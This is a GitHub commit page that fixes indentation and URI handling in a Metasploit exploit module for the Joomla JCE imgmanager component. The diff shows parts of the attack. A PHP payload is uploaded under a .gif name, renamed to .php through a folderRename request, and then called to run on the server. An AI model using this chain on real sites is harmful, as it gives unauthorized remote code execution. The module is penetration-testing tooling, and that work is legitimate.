Skip to content

Commit 0c169f9

Browse files
committed
correct some bad indent
1 parent 50ac5cf commit 0c169f9

File tree

1 file changed

+7
-8
lines changed

1 file changed

+7
-8
lines changed

modules/exploits/multi/http/joomla_comjce_imgmanager.rb

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -33,10 +33,10 @@ def initialize(info = {})
3333
],
3434
'Payload' =>
3535
{
36-
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
37-
'DisableNops' => true,
38-
'BadChars' => "#",
39-
'Keys' => ['php'],
36+
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
37+
'DisableNops' => true,
38+
'BadChars' => "#",
39+
'Keys' => ['php'],
4040
'Compat' =>
4141
{
4242
'ConnectionType' => 'find',
@@ -58,7 +58,6 @@ def initialize(info = {})
5858

5959
def get_version
6060
# check imgmanager version
61-
#uri = normalize_uri(target_uri.path.to_s, "images", "stories", "#{@script_name}.php")
6261
@uri_base = normalize_uri(target_uri.path.to_s) + 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager'
6362
uri = @uri_base
6463
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
@@ -96,7 +95,7 @@ def upload_gif
9695
# Generate some random strings
9796
@script_name = rand_text_alpha_lower(6)
9897
boundary = '-' * 27 + rand_text_numeric(11)
99-
uri = normalize_uri(@uri_base) + '&method=form'
98+
uri = @uri_base + '&method=form'
10099

101100
# POST data
102101
post_data = Rex::MIME::Message.new
@@ -132,7 +131,7 @@ def upload_gif
132131

133132
def renamed?
134133
# Rename the file from .gif to .php
135-
uri = normalize_uri(@uri_base) #, '&version=1576&cid=20')
134+
uri = @uri_base # '&version=1576&cid=20'
136135

137136
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@script_name}.gif\",\"#{@script_name}.php\"]}"
138137

@@ -163,7 +162,7 @@ def call_payload
163162
directory = 'images/stories/'
164163
print_status("Calling payload: #{@script_name}.php")
165164
uri = normalize_uri(target_uri.path.to_s)
166-
uri << directory + @script_name + ".php"
165+
uri << directory + @script_name + ".php"
167166
register_files_for_cleanup(uri)
168167

169168
res = send_request_cgi({

0 commit comments

Comments
 (0)